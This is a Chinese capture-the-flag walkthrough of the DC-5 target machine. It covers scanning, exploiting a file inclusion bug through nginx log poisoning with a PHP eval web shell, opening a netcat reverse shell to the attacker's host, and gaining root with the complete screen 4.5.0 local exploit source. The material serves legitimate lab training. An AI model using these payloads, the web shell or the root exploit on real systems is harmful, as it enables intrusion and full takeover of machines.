067 渗透测试实战,靶机 DC-5
文章目录一:环境准备二:nmap扫描三:御剑扫描网站一:环境准备下载:点我下载之后完成安装,过程详情请参考,063 渗透测试实战,靶机 DC-1需要抓包软件bp,文件的下载安装可以参考我的 前面的内容 :047 Burp Suite的详细安装与使用打开DC-5,建议把虚拟机升级到15.5.7,我之前的虚拟机做这个dc靶机实验的时候经常电脑蓝屏。 二:nmap扫描扫描局域网主机号nmap
一:环境准备
下载:点我
下载之后完成安装,过程详情请参考,063 渗透测试实战,靶机 DC-1
需要抓包软件bp,文件的下载安装可以参考我的 前面的内容 :047 Burp Suite的详细安装与使用
打开DC-5,建议把虚拟机升级到15.5.7,我之前的虚拟机做这个dc靶机实验的时候经常电脑蓝屏。
二:nmap扫描
扫描局域网主机号
nmap -sP 192.168.100.0/24 -oN nmap.sP
扫描端口号
nmap -A 192.168.100.4 -p- -oN nmap.A
-p-
:1-65535 端口号
浏览器访问
点击导航栏的home,solutions,about us的等,发现都是在IP地址的后边变换.php名字。
点击contac进去,发现可以填写一些信息,随便填写一些,submit提交,会有如下图的页面跳转。
三:御剑扫描网站
由上面得知,文件夹的变更均在根目录(IP地址后面)。所以可以用御剑扫描网站后台。
分别打开上述网站,发现特殊的,刷新页面,年份值会变化。
由上图得知,thankyou.php包含footer.php。
四:文件包含说明
由上一节内容:thankyou.php包含footer.php
先做一个知识点的补充:
4.1:静态包含
首先开启Apache服务
然后进入/var/www/html
目录下,创建两个文件。
footer.php
<?php
echo "this is footer.php";
?>
thankyou.php
<?php
echo "this is thankyou.php";
include "./footer.php";
?>
然后在另一台虚拟机上访问,看看效果
4.2:动态包含
thankyou.php修改为:
<?php
echo "this is thankyou.php";
include $_REQUEST['path'];
?>
浏览器访问:
那我们把path的修改成/etc/passwd呢?
好,现在回到这个靶机的问题上来,我们假设在这个靶机中,thankyou.php动态包含了footer.php。所以我们先假设一个参数xxx,如下图:
五:BurpSuite爆破
把http://192.168.100.4/thankyou.php?xxx=footer.php
修改为http://192.168.100.4/thankyou.php?xxx=/etc/passwd
因为若是猜中了?后面的值是xxx,则页面会发生变化,而footer.php无论是否猜中都不会变化。
然后开启BP抓包,设置变量。
利用字典进行爆破,得到变量为file
由此可知,靶机中的thankyou.php包含footer.php属于动态包含。
那么这个包含是本地文件包含还是远程文件包含?
试一下就知道了,远程文件是在Kali上的(已开启apache服务)
http://192.168.100.4/thankyou.php?file=http://192.168.100.7/footer.php
发现并不能远程包含文件,所以只支持本地包含文件。
那么要怎么才能把一句话木马写入到本地文件中去呢?
六:植入木马
日志文件
把一句话木马写入到系统的日志文件中。然后通过文件包含执行执行文件,继而会自动执行日志文件中的一句话木马代码。
找到日志文件路径:
/var/log/nginx/access.log
讲一句话木马写入到日志文件中:
进行BP抓包
http://192.168.100.4/thankyou.php?file=/var/log/nginx/access.log
需要点击一次放包才会进入如下画面:
替换:xxxxxxxx<?php @eval($_REQUEST[777]);?>
返回浏览器查看
发现日志写入成功
七:蚁剑连接
连接成功
因为日志文件总是在不断的增加,体积会越来越大,会影响连接,所以在tmp目录下创建文件,并写入一句话木马。
让蚁剑连接这个,增加稳定性。
打开蚁剑终端,尝试进入root失败
八:反弹shell
Kali本地监听:
nc -lvvp 2333
蚁剑终端:
nc -e /bin/bash 192.168.100.7 2333
连接成功,进入交互模式
Kali:
python -c 'import pty;pty.spawn("/bin/bash")'
九:提权
考虑提权,首先查看下sudo -l
然后就考虑是否具有suid权限的相关命令find / -perm -4000 2>/dev/null
发现/bin/screen-4.5.0,本地提权漏洞
Kali新建命令窗口搜索下,
searchsploit screen 4.5.0
cd /tmp/DC-5
mkdir screen450
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh
进入蚁剑,把这个文件拷贝下来
首先进入kali,关闭apache服务,开启web服务
service apache2 stop
python -m SimpleHTTPServer 80
在kali的交互式窗口进入/tmp目录,
赋予执行权限chmod 777 41154.sh
运行41154.sh,会出现如下报错。
其实这种报错的原因是因为格式的问题。下面有两种方法,方法一不适用于此处,因为交互界面不能使用vi或者vim指令,或者是使用之后有些功能用不了。
方法一:
首先在Terminal中输入“vim 脚本”命令。
这时会看到文件最下方显示的是“[dos]”,这就表示这个脚本是dos格式的啦。如果没有看到,可以输入“:set ff”,按下Enter键,查看脚本格式。
输入“:set ff=unix”后按Enter,将格式更改为unix格式。
然后再输入“:set ff”,按下Enter键,这时如果看到“fileformat=unix”,这表明格式修改正确啦。
输入“:wq”,保存并退出脚本,再重新运行
方法二:
把整个41154.sh文件分成三个文件
如下:
41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
第一个文件:
libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译,生成libhax.so 文件
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二个文件:
rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译,生成rootshell 文件
gcc -o /tmp/rootshell /tmp/rootshell.c
第三个文件
getshell.sh:
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
把三个文件,全部用菜刀下载
然后运行getshell.sh文件
提权成功。。。。。
更多推荐
所有评论(0)